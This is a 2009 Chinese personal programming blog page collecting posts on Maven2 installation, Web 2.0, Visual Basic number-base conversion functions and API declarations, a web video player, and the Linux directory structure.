<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    每天進(jìn)步一點(diǎn)點(diǎn)
    Welcome ,My new friends!!!
    posts - 11,comments - 1,trackbacks - 0
         摘要:       上次出去幫一個(gè)朋友的朋友給一個(gè)原有的.net項(xiàng)目添加一個(gè)新的功能模塊。結(jié)果,很傷,原因很簡單,由于我對(duì)dotnet的工作機(jī)理想當(dāng)然,個(gè)人觀點(diǎn)占據(jù)上風(fēng),導(dǎo)致在初期設(shè)計(jì)的時(shí)候就走上了一天錯(cuò)誤的道路,郁悶了很長一段時(shí)間,決定花一定時(shí)間去真正理解一些更底層,更基礎(chǔ)的東西。現(xiàn)在忽然發(fā)現(xiàn)自己在過去很長的一段時(shí)間有些舍本逐末了,檢討~~~~ 這...  閱讀全文
    posted @ 2009-05-27 11:38 moonandsun 閱讀(416) | 評(píng)論 (0)編輯 收藏

    web2.0這個(gè)名詞不止一次的在我眼前出現(xiàn),有時(shí)候由于它的出現(xiàn)過于頻繁,以至于我還沒來得及去想,已漸漸的在內(nèi)心中接受了這個(gè)名詞。初識(shí)web2.0是在去年,具體什么時(shí)候已記不太清楚,當(dāng)初我腦海中的web2.0和我現(xiàn)在的認(rèn)識(shí)不盡相同,我當(dāng)時(shí)的認(rèn)識(shí)只是web2.0的一個(gè)方面,甚至可以說與我們所說的web2.0不相關(guān)。當(dāng)時(shí)我和我的幾個(gè)師兄在一起做一個(gè)web項(xiàng)目,當(dāng)然他們常常會(huì)提到web2.0標(biāo)準(zhǔn),起初我不是很理解,當(dāng)然現(xiàn)在也依然模糊。從網(wǎng)上在了點(diǎn)資料。網(wǎng)上如是說:WEB2.0標(biāo)準(zhǔn)不是某一個(gè)標(biāo)準(zhǔn),而是一系列標(biāo)準(zhǔn)的集合。網(wǎng)頁主要由三部分組成:結(jié)構(gòu)(Structure)、表現(xiàn)(Presentation)和行為(Behavior)。對(duì)應(yīng)的標(biāo)準(zhǔn)也分三方面:結(jié)構(gòu)化標(biāo)準(zhǔn)語言主要包括XHTML和XML,表現(xiàn)標(biāo)準(zhǔn)語言主要包括CSS,行為標(biāo)準(zhǔn)主要包括對(duì)象模型(如W3C DOM)、ECMAScript等。這些標(biāo)準(zhǔn)大部分由W3C起草和發(fā)布,也有一些是其他標(biāo)準(zhǔn)組織制訂的標(biāo)準(zhǔn),比如ECMA(European Computer Manufacturers Association)的ECMAScript標(biāo)準(zhǔn)。恍然大明白,原來自己在很長一段時(shí)間都在為web2.0標(biāo)準(zhǔn)努力。不由暗暗自喜。后來,每次上網(wǎng),看雜志(尤其程序員),看報(bào)紙(電腦報(bào)),web2.0的字眼是滿天飛。既然自己要考研,并且準(zhǔn)備在計(jì)算機(jī)方面發(fā)展,我認(rèn)為有必要了解web2.0。


    web2.0是相對(duì)于web1.0來說的. 首先就易用性和交互性方面來說,Web1.0里,互聯(lián)網(wǎng)內(nèi)容是由少數(shù)編輯人員(或站長)定制的,比如搜狐;而在Web2.0里,每個(gè)人都是內(nèi)容的供稿者。標(biāo)由于web2.0主張多然參與,所以互聯(lián)網(wǎng)內(nèi)容也更加豐富和多樣化,同時(shí)web2.0采用了標(biāo)簽(tag),多媒體技術(shù),rss訂閱,在線協(xié)作等功能,用戶在使用互聯(lián)網(wǎng)的過程也更方便、快捷。就我的一個(gè)上網(wǎng)習(xí)慣來說,我關(guān)注最多的是IT技術(shù)方面的發(fā)展,一般我經(jīng)常去csdn,cnblogs,itpub等網(wǎng)站,以前我看文章都是一個(gè)網(wǎng)站一個(gè)網(wǎng)站的打開,有時(shí)候發(fā)現(xiàn)某個(gè)人的博客很適合自己的口味,于是想關(guān)注這位博主的最新動(dòng)態(tài),于是收藏的網(wǎng)址越來越多,每天想把自己關(guān)注的事情看一遍很費(fèi)時(shí)間。現(xiàn)在可不一樣了,發(fā)現(xiàn)自己的喜歡網(wǎng)站或博客,訂閱到自己的google reader中,每天上網(wǎng)第一件事,打開google reader,有什么最新新聞,最新動(dòng)態(tài)一目了然。都是互聯(lián)網(wǎng)提供的便利啊。

    其次,web2.0相對(duì)于web1.0來說更突出人的作用,在互聯(lián)網(wǎng)的新時(shí)代,信息是由每個(gè)人貢獻(xiàn)出來的。各個(gè)人共同組成互聯(lián)網(wǎng)信息源。Web2.0的靈魂是人。同是,為了更好的發(fā)揮“人”的作用,web2.0的形式也更多樣化,出現(xiàn)了各種各樣的互聯(lián)網(wǎng)服務(wù),例如博客、威客、播客、維基、P2P下載、社區(qū)、分享服務(wù)等等。是“人”能夠從互聯(lián)網(wǎng)上得到不同程度上的滿足。現(xiàn)如今,用戶即所謂的“人”所產(chǎn)生的信息在互聯(lián)網(wǎng)內(nèi)容中所占的比重越來越大,而且隨著web2.0的發(fā)展,這一趨勢(shì)還會(huì)不斷加強(qiáng)。web2.0為所有互聯(lián)網(wǎng)用戶提供了一個(gè)展示自我和自我實(shí)現(xiàn)的平臺(tái)。而且隨著互聯(lián)網(wǎng)技術(shù)的發(fā)展,web2.0在生活信息化、辦公信息化方面的作用也會(huì)一步步提升,是人們的生活、學(xué)習(xí)、工作更加便捷和輕松。

    總之,web2.0從某種程度上改變了人們的生活。


     

    posted @ 2009-05-20 21:14 moonandsun 閱讀(163) | 評(píng)論 (0)編輯 收藏

            好長一段時(shí)間沒有寫日志,生活在繁忙中迷茫了一段,細(xì)細(xì)想來也不知道都干了些什么,于技術(shù)方面更是毫無長進(jìn),靜下心來下篇文章,安撫一下浮躁的心靈。

            現(xiàn)在開始Maven2的學(xué)習(xí)。

            第一步不用說,下載Maven2,以待安裝。

            其實(shí)我們有必要了解Maven2到底是一個(gè)干么的東西,要使用它首先得知道它是干么的。

            先看看ReadMe.txt

      What is it?
      -----------

      Maven is a software project management and comprehension tool. Based on
      the concept of a Project Object Model (POM), Maven can manage a project's
      build, reporting and documentation from a central piece of information.
     
             now we got it .it is a tool which can manage and  comprehend  our project .

             系統(tǒng)需求,一般我們都能達(dá)到,忽略。

     System Requirements
      -------------------

      JDK:
        1.4 or above (this is to execute Maven - it still allows you to build against 1.3
        and prior JDK's).
      Memory:
        No minimum requirement.
      Disk:
        No minimum requirement. Approximately 100MB will be used for your local repository,
        however this will vary depending on usage and can be removed and redownloaded at
        any time.
      Operating System:
        No minimum requirement. On Windows, Windows NT and above or Cygwin is required for
        the startup scripts. Tested on Windows XP, Fedora Core and Mac OS X.s
           
             下一步,安裝。我建議看看文檔。
     
      Installing Maven
      ----------------

      1) Unpack the archive where you would like to store the binaries, eg:

        Unix-based Operating Systems (Linux, Solaris and Mac OS X)
          tar zxvf apache-maven-2.0.x.tar.gz
        Windows 2000/XP
          unzip apache-maven-2.0.x.zip

      2) A directory called "apache-maven-2.0.x" will be created.

      3) Add the bin directory to your PATH, eg:

        Unix-based Operating Systems (Linux, Solaris and Mac OS X)
          export PATH=/usr/local/apache-maven-2.0.x/bin:$PATH
        Windows 2000/XP
          set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH%

      4) Make sure JAVA_HOME is set to the location of your JDK


             我用的是winXP,看這句就可以了。

             set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH% 

            其中 “c:\program files\apache-maven-2.0.x\bin”為maven2解壓路徑。

            最后一步測(cè)試一下是否成功。

      5) Run "mvn --version" to verify that it is correctly installed.

            


            OK,it works~~~


         














    posted @ 2009-05-05 22:10 moonandsun 閱讀(222) | 評(píng)論 (0)編輯 收藏

    十進(jìn)制,八進(jìn)制,十六進(jìn)制,二進(jìn)制相互轉(zhuǎn)換

    ' 用途:將十進(jìn)制轉(zhuǎn)化為二進(jìn)
    ' 輸入:Dec(十進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:Long
    ' 輸出:DEC_to_BIN(二進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647,輸出最大數(shù)為1111111111111111111111111111111(31個(gè)1)
    Public Function DEC_to_BIN(Dec As Long) As String
        DEC_to_BIN = ""
        Do While Dec > 0
            DEC_to_BIN = Dec Mod 2 & DEC_to_BIN
            Dec = Dec \ 2
        Loop
    End Function

    ' 用途:將二進(jìn)制轉(zhuǎn)化為十進(jìn)制
    ' 輸入:Bin(二進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:BIN_to_DEC(十進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:Long
    ' 輸入的最大數(shù)為1111111111111111111111111111111(31個(gè)1),輸出最大數(shù)為2147483647
    Public Function BIN_to_DEC(ByVal Bin As String) As Long
        Dim i As Long
        For i = 1 To Len(Bin)
            BIN_to_DEC = BIN_to_DEC * 2 + Val(Mid(Bin, i, 1))
        Next i
    End Function

    ' 用途:將十六進(jìn)制轉(zhuǎn)化為二進(jìn)制
    ' 輸入:Hex(十六進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:HEX_to_BIN(二進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647個(gè)字符
    Public Function HEX_to_BIN(ByVal Hex As String) As String
        Dim i As Long
        Dim B As String
        
        Hex = UCase(Hex)
        For i = 1 To Len(Hex)
            Select Case Mid(Hex, i, 1)
                Case "0": B = B & "0000"
                Case "1": B = B & "0001"
                Case "2": B = B & "0010"
                Case "3": B = B & "0011"
                Case "4": B = B & "0100"
                Case "5": B = B & "0101"
                Case "6": B = B & "0110"
                Case "7": B = B & "0111"
                Case "8": B = B & "1000"
                Case "9": B = B & "1001"
                Case "A": B = B & "1010"
                Case "B": B = B & "1011"
                Case "C": B = B & "1100"
                Case "D": B = B & "1101"
                Case "E": B = B & "1110"
                Case "F": B = B & "1111"
            End Select
        Next i
        While Left(B, 1) = "0"
            B = Right(B, Len(B) - 1)
        Wend
        HEX_to_BIN = B
    End Function

    ' 用途:將二進(jìn)制轉(zhuǎn)化為十六進(jìn)制
    ' 輸入:Bin(二進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:BIN_to_HEX(十六進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647個(gè)字符
    Public Function BIN_to_HEX(ByVal Bin As String) As String
        Dim i As Long
        Dim H As String
        If Len(Bin) Mod 4 <> 0 Then
            Bin = String(4 - Len(Bin) Mod 4, "0") & Bin
        End If
        
        For i = 1 To Len(Bin) Step 4
            Select Case Mid(Bin, i, 4)
                Case "0000": H = H & "0"
                Case "0001": H = H & "1"
                Case "0010": H = H & "2"
                Case "0011": H = H & "3"
                Case "0100": H = H & "4"
                Case "0101": H = H & "5"
                Case "0110": H = H & "6"
                Case "0111": H = H & "7"
                Case "1000": H = H & "8"
                Case "1001": H = H & "9"
                Case "1010": H = H & "A"
                Case "1011": H = H & "B"
                Case "1100": H = H & "C"
                Case "1101": H = H & "D"
                Case "1110": H = H & "E"
                Case "1111": H = H & "F"
            End Select
        Next i
        While Left(H, 1) = "0"
            H = Right(H, Len(H) - 1)
        Wend
        BIN_to_HEX = H
    End Function

    ' 用途:將十六進(jìn)制轉(zhuǎn)化為十進(jìn)制
    ' 輸入:Hex(十六進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:HEX_to_DEC(十進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:Long
    ' 輸入的最大數(shù)為7FFFFFFF,輸出的最大數(shù)為2147483647
    Public Function HEX_to_DEC(ByVal Hex As String) As Long
        Dim i As Long
        Dim B As Long
        
        Hex = UCase(Hex)
        For i = 1 To Len(Hex)
            Select Case Mid(Hex, Len(Hex) - i + 1, 1)
                Case "0": B = B + 16 ^ (i - 1) * 0
                Case "1": B = B + 16 ^ (i - 1) * 1
                Case "2": B = B + 16 ^ (i - 1) * 2
                Case "3": B = B + 16 ^ (i - 1) * 3
                Case "4": B = B + 16 ^ (i - 1) * 4
                Case "5": B = B + 16 ^ (i - 1) * 5
                Case "6": B = B + 16 ^ (i - 1) * 6
                Case "7": B = B + 16 ^ (i - 1) * 7
                Case "8": B = B + 16 ^ (i - 1) * 8
                Case "9": B = B + 16 ^ (i - 1) * 9
                Case "A": B = B + 16 ^ (i - 1) * 10
                Case "B": B = B + 16 ^ (i - 1) * 11
                Case "C": B = B + 16 ^ (i - 1) * 12
                Case "D": B = B + 16 ^ (i - 1) * 13
                Case "E": B = B + 16 ^ (i - 1) * 14
                Case "F": B = B + 16 ^ (i - 1) * 15
            End Select
        Next i
        HEX_to_DEC = B
    End Function
    ' 用途:將十進(jìn)制轉(zhuǎn)化為十六進(jìn)制
    ' 輸入:Dec(十進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:Long
    ' 輸出:DEC_to_HEX(十六進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647,輸出最大數(shù)為7FFFFFFF
    Public Function DEC_to_HEX(Dec As Long) As String
        Dim a As String
        DEC_to_HEX = ""
        Do While Dec > 0
            a = CStr(Dec Mod 16)
            Select Case a
                Case "10": a = "A"
                Case "11": a = "B"
                Case "12": a = "C"
                Case "13": a = "D"
                Case "14": a = "E"
                Case "15": a = "F"
            End Select
            DEC_to_HEX = a & DEC_to_HEX
            Dec = Dec \ 16
        Loop
    End Function

    ' 用途:將十進(jìn)制轉(zhuǎn)化為八進(jìn)制
    ' 輸入:Dec(十進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:Long
    ' 輸出:DEC_to_OCT(八進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647,輸出最大數(shù)為17777777777
    Public Function DEC_to_OCT(Dec As Long) As String
        DEC_to_OCT = ""
        Do While Dec > 0
            DEC_to_OCT = Dec Mod 8 & DEC_to_OCT
            Dec = Dec \ 8
        Loop
    End Function

    ' 用途:將八進(jìn)制轉(zhuǎn)化為十進(jìn)制
    ' 輸入:Oct(八進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:OCT_to_DEC(十進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:Long
    ' 輸入的最大數(shù)為17777777777,輸出的最大數(shù)為2147483647
    Public Function OCT_to_DEC(ByVal Oct As String) As Long
        Dim i As Long
        Dim B As Long
        
        For i = 1 To Len(Oct)
            Select Case Mid(Oct, Len(Oct) - i + 1, 1)
                Case "0": B = B + 8 ^ (i - 1) * 0
                Case "1": B = B + 8 ^ (i - 1) * 1
                Case "2": B = B + 8 ^ (i - 1) * 2
                Case "3": B = B + 8 ^ (i - 1) * 3
                Case "4": B = B + 8 ^ (i - 1) * 4
                Case "5": B = B + 8 ^ (i - 1) * 5
                Case "6": B = B + 8 ^ (i - 1) * 6
                Case "7": B = B + 8 ^ (i - 1) * 7
            End Select
        Next i
        OCT_to_DEC = B
    End Function

    ' 用途:將二進(jìn)制轉(zhuǎn)化為八進(jìn)制
    ' 輸入:Bin(二進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:BIN_to_OCT(八進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647個(gè)字符
    Public Function BIN_to_OCT(ByVal Bin As String) As String
        Dim i As Long
        Dim H As String
        If Len(Bin) Mod 3 <> 0 Then
            Bin = String(3 - Len(Bin) Mod 3, "0") & Bin
        End If
        
        For i = 1 To Len(Bin) Step 3
            Select Case Mid(Bin, i, 3)
                Case "000": H = H & "0"
                Case "001": H = H & "1"
                Case "010": H = H & "2"
                Case "011": H = H & "3"
                Case "100": H = H & "4"
                Case "101": H = H & "5"
                Case "110": H = H & "6"
                Case "111": H = H & "7"
            End Select
        Next i
        While Left(H, 1) = "0"
            H = Right(H, Len(H) - 1)
        Wend
        BIN_to_OCT = H
    End Function

    ' 用途:將八進(jìn)制轉(zhuǎn)化為二進(jìn)制
    ' 輸入:Oct(八進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:OCT_to_BIN(二進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647個(gè)字符
    Public Function OCT_to_BIN(ByVal Oct As String) As String
        Dim i As Long
        Dim B As String
        
        For i = 1 To Len(Oct)
            Select Case Mid(Oct, i, 1)
                Case "0": B = B & "000"
                Case "1": B = B & "001"
                Case "2": B = B & "010"
                Case "3": B = B & "011"
                Case "4": B = B & "100"
                Case "5": B = B & "101"
                Case "6": B = B & "110"
                Case "7": B = B & "111"
            End Select
        Next i
        While Left(B, 1) = "0"
            B = Right(B, Len(B) - 1)
        Wend
        OCT_to_BIN = B
    End Function

    ' 用途:將八進(jìn)制轉(zhuǎn)化為十六進(jìn)制
    ' 輸入:Oct(八進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:OCT_to_HEX(十六進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647個(gè)字符
    Public Function OCT_to_HEX(ByVal Oct As String) As String
        Dim Bin As String
        Bin = OCT_to_BIN(Oct)
        OCT_to_HEX = BIN_to_HEX(Bin)
    End Function

    ' 用途:將十六進(jìn)制轉(zhuǎn)化為八進(jìn)制
    ' 輸入:Hex(十六進(jìn)制數(shù))
    ' 輸入數(shù)據(jù)類型:String
    ' 輸出:HEX_to_OCT(八進(jìn)制數(shù))
    ' 輸出數(shù)據(jù)類型:String
    ' 輸入的最大數(shù)為2147483647個(gè)字符
    Public Function HEX_to_OCT(ByVal Hex As String) As String
        Dim Bin As String
        Hex = UCase(Hex)
        Bin = HEX_to_BIN(Hex)
        HEX_to_OCT = BIN_to_OCT(Bin)
    End Function


    VB自帶函數(shù):
    十進(jìn)制轉(zhuǎn)八進(jìn)制:Oct(num)
    十六進(jìn)制轉(zhuǎn)八進(jìn)制:oct("&H" & num)
    十進(jìn)制轉(zhuǎn)十六進(jìn)制:hex(num)
    八進(jìn)制轉(zhuǎn)十六進(jìn)制:hex("&O" & num)

    十六進(jìn)制轉(zhuǎn)換為十進(jìn)制
        Dim str As String                     
        str = Text2.Text
        Text10.Text = CLng("&H" & str)

    文章出處:http://blog.programfan.com/article.asp?id=11903
    感謝作者的無私奉獻(xiàn)、、、、

    posted @ 2009-03-29 10:57 moonandsun 閱讀(1462) | 評(píng)論 (0)編輯 收藏
    一、在VB中聲明API函數(shù)有兩種方法:如果我們只在某個(gè)窗體中使用API函數(shù),我們可以在窗體代碼的General部分聲明它:


      聲明的語法是:

      Private Declare Function ...

      Private Declare Sub.....

      這里必須采用Private聲明,因?yàn)檫@個(gè)API函數(shù)只能被一個(gè)窗體內(nèi)的程序所調(diào)用。


      如果我們的程序有多個(gè)窗體構(gòu)成,而且我們需要在多個(gè)窗體中使用同一個(gè)API函數(shù),就需要在模塊中聲明了。

      先添加一個(gè)模塊(如圖示),

      然后采用如下語法聲明:

      Public Declare Function....

      Public Declare Sub....

      Public聲明的含義是把API函數(shù)作為一個(gè)公共函數(shù)或過程,在一個(gè)工程中的任何位置(包括所有的窗體和模塊)都能直接調(diào)用它。 聲明完畢我們就能在程序中使用此API函數(shù)了。


      二、可采用以下幾種方式使用API函數(shù),以SetWindowPos函數(shù)為例:

      (1)忽略函數(shù)返回值的調(diào)用:

        SetWindowPos Form1.hWnd, -2 ,0 ,0 ,0, 0, 3

      注意此時(shí)函數(shù)的參數(shù)是不加括號(hào)的。

      (2)Call方法調(diào)用:

        Call SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)

      注意這里需要加上括號(hào),但我們不取回函數(shù)的返回值。

      (3)取得函數(shù)返回值的調(diào)用:

        MyLng = SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)

      此時(shí)需要加上括號(hào),而且我們必須事先定義一個(gè)變量(變量的類型與函數(shù)返回值類型相同)來存儲(chǔ)API函數(shù)的返回值。


      三、幾個(gè)問題的說明:


      (1)聲明中的Lib 和 Alias 是怎么回事

      一般情況下WIN32API函數(shù)總是包含在WINDOWS系統(tǒng)自帶的或是其它公司提供的動(dòng)態(tài)連接庫DLL中,而Declare語句中的Lib關(guān)鍵字就用來指定DLL(動(dòng)態(tài)連接庫)文件的路徑,這樣VB才能找到這個(gè)DLL文件,然后才能使用其中的API函數(shù)。如果我們只是列出DLL文件名而不指出其完整的路徑的話,VB會(huì)自動(dòng)到.EXE文件所在目錄、當(dāng)前工作目錄、WINDOWS\SYSTEM目錄、WINDOWS目錄下搜尋這個(gè)DLL文件。所以如果所要使用DLL文件不在上述幾個(gè)目錄下的話,我們應(yīng)該指明其完整路徑。

      Alias用于指定API函數(shù)的別名,如果我們調(diào)用的API函數(shù)要使用字符串(參數(shù)中包含String型)的話,Alias關(guān)鍵字是必須的。這是因?yàn)樵贏NSI和Unicode字符集中同一API函數(shù)的名稱可能是不一樣的,為了保證不出現(xiàn)聲明錯(cuò)誤,我們使用Alias關(guān)鍵字指出API函數(shù)的別名,一般來說在WIN9X平臺(tái)下我們把API函數(shù)名后加一個(gè)大寫A作為別名即可。


      (2)常見的API參數(shù)類型的說明

      API函數(shù)的參數(shù)中最常見的是長整Long型數(shù)據(jù)類型,例如API中的句柄、一些特定的常量、函數(shù)的返回值都是此類型 的值;另外幾種常見的參數(shù)類型有:整型Integer、Byte型、String型等。


      (3)聲明中的ByVal是作什么用的

      這跟VB的參數(shù)傳遞方式有關(guān),在默認(rèn)情況下VB是通過地址傳遞方式傳遞函數(shù)的參數(shù)、而有些API函數(shù)要求必須采用傳值方式來傳遞函數(shù)參數(shù)(這兩種參數(shù)傳遞方式是不同的,前者傳遞的是一個(gè)指針,而后者要求是參數(shù)真實(shí)的值)。這樣就會(huì)發(fā)生錯(cuò)誤,解決的辦法是在API函數(shù)參數(shù)聲明的前面加上ByVal關(guān)鍵字,這樣VB就采用傳值方式傳遞參數(shù)了。


      (4)怎樣得到完整的API函數(shù)聲明

      VB自帶了API文本查看器API TEXT VIEWER,我們可以在其中找到API函數(shù)的完整聲明,然后把它粘貼到程序中即可。

    原文地址:http://www.enet.com.cn/article/2004/0312/A20040312293927.shtml
    posted @ 2009-03-28 16:46 moonandsun 閱讀(157) | 評(píng)論 (0)編輯 收藏

            
            現(xiàn)行的網(wǎng)絡(luò)上,視頻播放器很多(嵌在網(wǎng)頁中那種),flv播放器更是不少,但支持rtmp協(xié)議的播放器可是不好找啊。雖然也有,但樣式單一,好看的不多。
            一直以來苦苦尋覓一個(gè)漂亮的flv視頻播放器(嵌在網(wǎng)頁中那種)。好幾個(gè)月過去了,一直沒有結(jié)果。后來就把這事放到一邊去了,沒有再去理會(huì)。
           后來一直就用一個(gè)叫Vcastr2.0 的播放器,播放器為黑色,整體感覺還是不錯(cuò)的,但可供定制的選項(xiàng)不是很多。
           再后來我發(fā)現(xiàn)了JW player ,官方網(wǎng)站:http://www.longtailvideo.com/  ,它的可定制性比較強(qiáng),甚至在官網(wǎng)上我們可以直接設(shè)計(jì)出自己喜歡的播放器樣式,但無論你怎樣設(shè)置整體外形還是不變的(其實(shí)我看不好的就是這個(gè)播放器的外形)。所以這中播放器在那是我是看不上的。
            時(shí)代在發(fā)展啊,當(dāng)然JW player也一天天悄無聲息的進(jìn)步著,今天我無意瀏覽到了JW player官網(wǎng),幾個(gè)月不見,小子出息里,它既然也能夠換皮膚了,官方為我們提供了各種各樣的皮膚下載:http://www.longtailvideo.com/addons/skins 。
            

    posted @ 2009-03-12 11:50 moonandsun 閱讀(395) | 評(píng)論 (1)編輯 收藏
    linux下的文件結(jié)構(gòu)及其作用:
    /bin 二進(jìn)制可執(zhí)行命令
    /dev 設(shè)備特殊文件
    /etc 系統(tǒng)管理和配置文件
    /etc/rc.d 啟動(dòng)的配置文件和腳本
    /home 用戶主目錄的基點(diǎn),比如用戶user的主目錄就是/home/user,可以用~user表示
    /lib 標(biāo)準(zhǔn)程序設(shè)計(jì)庫,又叫動(dòng)態(tài)鏈接共享庫,作用類似windows里的.dll文件
    /sbin 系統(tǒng)管理命令,這里存放的是系統(tǒng)管理員使用的管理程序
    /tmp 公用的臨時(shí)文件存儲(chǔ)點(diǎn)
    /root 系統(tǒng)管理員的主目錄(呵呵,特權(quán)階級(jí))
    /mnt 系統(tǒng)提供這個(gè)目錄是讓用戶臨時(shí)掛載其他的文件系統(tǒng)。
    /lost+found 這個(gè)目錄平時(shí)是空的,系統(tǒng)非正常關(guān)機(jī)而留下“無家可歸”的文件(windows下叫什么.chk)就在這里
    /proc 虛擬的目錄,是系統(tǒng)內(nèi)存的映射。可直接訪問這個(gè)目錄來獲取系統(tǒng)信息。
    /var 某些大文件的溢出區(qū),比方說各種服務(wù)的日志文件
    /usr 最龐大的目錄,要用到的應(yīng)用程序和文件幾乎都在這個(gè)目錄。其中包含:
    /usr/x11r6 存放x window的目錄
    /usr/bin 眾多的應(yīng)用程序
    /usr/sbin 超級(jí)用戶的一些管理程序
    /usr/doc linux文檔
    /usr/include linux下開發(fā)和編譯應(yīng)用程序所需要的頭文件
    /usr/lib 常用的動(dòng)態(tài)鏈接庫和軟件包的配置文件
    /usr/man 幫助文檔
    /usr/src 源代碼,linux內(nèi)核的源代碼就放在/usr/src/linux里
    /usr/local/bin 本地增加的命令
    /usr/local/lib 本地增加的庫

    通常情況下,根文件系統(tǒng)所占空間一般應(yīng)該比較小,因?yàn)槠渲械慕^大部分文件都不需要
    經(jīng)常改動(dòng),而且包括嚴(yán)格的文件和一個(gè)小的不經(jīng)常改變的文件系統(tǒng)不容易損壞。
    除了可能的一個(gè)叫/ v m l i n u z標(biāo)準(zhǔn)的系統(tǒng)引導(dǎo)映像之外,根目錄一般不含任何文件。所有
    其他文件在根文件系統(tǒng)的子目錄中。
    1. /bin目錄
    / b i n目錄包含了引導(dǎo)啟動(dòng)所需的命令或普通用戶可能用的命令(可能在引導(dǎo)啟動(dòng)后)。這些
    命令都是二進(jìn)制文件的可執(zhí)行程序( b i n是b i n a r y - -二進(jìn)制的簡稱),多是系統(tǒng)中重要的系統(tǒng)文件。
    2. /sbin目錄
    / s b i n目錄類似/bin ,也用于存儲(chǔ)二進(jìn)制文件。因?yàn)槠渲械拇蟛糠治募嗍窍到y(tǒng)管理員使
    用的基本的系統(tǒng)程序,所以雖然普通用戶必要且允許時(shí)可以使用,但一般不給普通用戶使用。
    3. /etc目錄
    / e t c目錄存放著各種系統(tǒng)配置文件,其中包括了用戶信息文件/ e t c / p a s s w d,系統(tǒng)初始化文
    件/ e t c / r c等。l i n u x正是*這些文件才得以正常地運(yùn)行。
    4. /root目錄
    /root 目錄是超級(jí)用戶的目錄。
    5. /lib目錄
    / l i b目錄是根文件系統(tǒng)上的程序所需的共享庫,存放了根文件系統(tǒng)程序運(yùn)行所需的共享文
    件。這些文件包含了可被許多程序共享的代碼,以避免每個(gè)程序都包含有相同的子程序的副
    本,故可以使得可執(zhí)行文件變得更小,節(jié)省空間。
    6. /lib/modules 目錄
    /lib/modules 目錄包含系統(tǒng)核心可加載各種模塊,尤其是那些在恢復(fù)損壞的系統(tǒng)時(shí)重新引
    導(dǎo)系統(tǒng)所需的模塊(例如網(wǎng)絡(luò)和文件系統(tǒng)驅(qū)動(dòng))。
    7. /dev目錄
    / d e v目錄存放了設(shè)備文件,即設(shè)備驅(qū)動(dòng)程序,用戶通過這些文件訪問外部設(shè)備。比如,用
    戶可以通過訪問/ d e v / m o u s e來訪問鼠標(biāo)的輸入,就像訪問其他文件一樣。
    8. /tmp目錄
    /tmp 目錄存放程序在運(yùn)行時(shí)產(chǎn)生的信息和數(shù)據(jù)。但在引導(dǎo)啟動(dòng)后,運(yùn)行的程序最好使用
    / v a r / t m p來代替/tmp ,因?yàn)榍罢呖赡軗碛幸粋€(gè)更大的磁盤空間。
    9. /boot目錄
    / b o o t目錄存放引導(dǎo)加載器(bootstrap loader)使用的文件,如l i l o,核心映像也經(jīng)常放在這里,
    而不是放在根目錄中。但是如果有許多核心映像,這個(gè)目錄就可能變得很大,這時(shí)使用單獨(dú)的
    文件系統(tǒng)會(huì)更好一些。還有一點(diǎn)要注意的是,要確保核心映像必須在i d e硬盤的前1 0 2 4柱面內(nèi)。
    10. /mnt目錄
    / m n t目錄是系統(tǒng)管理員臨時(shí)安裝( m o u n t )文件系統(tǒng)的安裝點(diǎn)。程序并不自動(dòng)支持安裝到
    /mnt 。/mnt 下面可以分為許多子目錄,例如/mnt/dosa 可能是使用m s d o s文件系統(tǒng)的軟驅(qū),
    而/mnt/exta 可能是使用e x t 2文件系統(tǒng)的軟驅(qū),/mnt/cdrom 光驅(qū)等等。
    11. /proc, /usr,/var,/home目錄
    其他文件系統(tǒng)的安裝點(diǎn)。



    下面詳細(xì)介紹;

    /etc文件系統(tǒng)
    /etc 目錄包含各種系統(tǒng)配置文件,下面說明其中的一些。其他的你應(yīng)該知道它們屬于哪個(gè)
    程序,并閱讀該程序的m a n頁。許多網(wǎng)絡(luò)配置文件也在/etc 中。
    1. /etc/rc或/etc/rc.d或/etc/rc?.d
    啟動(dòng)、或改變運(yùn)行級(jí)時(shí)運(yùn)行的腳本或腳本的目錄。
    2. /etc/passwd
    用戶數(shù)據(jù)庫,其中的域給出了用戶名、真實(shí)姓名、用戶起始目錄、加密口令和用戶的其
    他信息。
    3. /etc/fdprm
    軟盤參數(shù)表,用以說明不同的軟盤格式。可用setfdprm 進(jìn)行設(shè)置。更多的信息見s e t f d p r m
    的幫助頁。
    4. /etc/fstab
    指定啟動(dòng)時(shí)需要自動(dòng)安裝的文件系統(tǒng)列表。也包括用swapon -a啟用的s w a p區(qū)的信息。
    5. /etc/group
